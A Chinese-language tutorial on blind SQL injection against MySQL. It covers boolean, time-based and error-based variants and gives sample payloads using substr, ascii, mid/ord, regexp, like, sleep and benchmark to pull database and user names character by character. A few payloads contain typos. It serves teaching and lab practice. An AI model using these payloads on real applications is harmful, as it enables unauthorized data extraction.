SQL盲注

盲注是SQL注入的一种,之所以称为盲注是因为他不会根据攻击者的SQL注入语句返回攻击者想要获取的错误信息。

SQL盲注分类

(1)布尔盲注:布尔很明显有True和Flase,也就是说它会根据攻击者的注入信息返回True或者False,也就没有了之前的报错信息。

(2)时间盲注:界面返回值只有一种True,无论输入任何值,返回情况都会按照正常来处理。加入特定的时间函数,通过查看WEB页面的返回时间差来判断注入的语句是否正确。

(3)报错盲注:根据返回的显示错误信息构造SQL语句来进行的注入,称为报错盲注。

盲注中用到的函数

Length()                  函数 返回字符串的长度
Substr()                  截取字符串
Ascii()                   返回字符的ascii码
sleep(n)                   将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3)      判断语句 如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

基于布尔SQL盲注————构造逻辑判断

相关函数:

(1)left(a,b)

left(database(),1) >'s'

函数说明:

database()显示数据库名称,left(a,b)从左侧截取a的前b位

(2)Substr()

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+

函数说明:

substr(a,b,c)从b位置开始,截取字符串a的c长度。
Ascii()将某个字符转换为ascii值

(3)

ord()、mid()         

ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23

函数说明:

mid(a,b,c)从位置b开始,截取a字符串的c位

Ord()函数同ascii(),将字符转为ascii值

(4)regexp()正则注入

用法介绍:

select user() regexp '^[a-z]';

函数说明:

正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。

匹配第二位:

select user() regexp '^ro'

当正确的时候显示结果为1,不正确的时候显示结果为0.

(5)Like匹配注入

和正则注入类似,mysql在匹配的时候可以使用like进行匹配

select user() like 'ro%'

基于报错的SQL盲注

构造payload让信息通过错误提示回显出来

相关函数:

floor()、extravtvalue()、updatexml()

详情见本系列第20、21、22篇文章

基于时间的SQL盲注——延时注入

相关函数:

(1)if语句+sleep()函数

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23

说明:if判断语句,条件为假时,执行sleep

(2)benchmark()函数

UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;

说明:benchmark(count,expr)用于测试函数的性能,参数一为次数,参数而为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的CPU资源,所以平时推荐使用sleep()函数。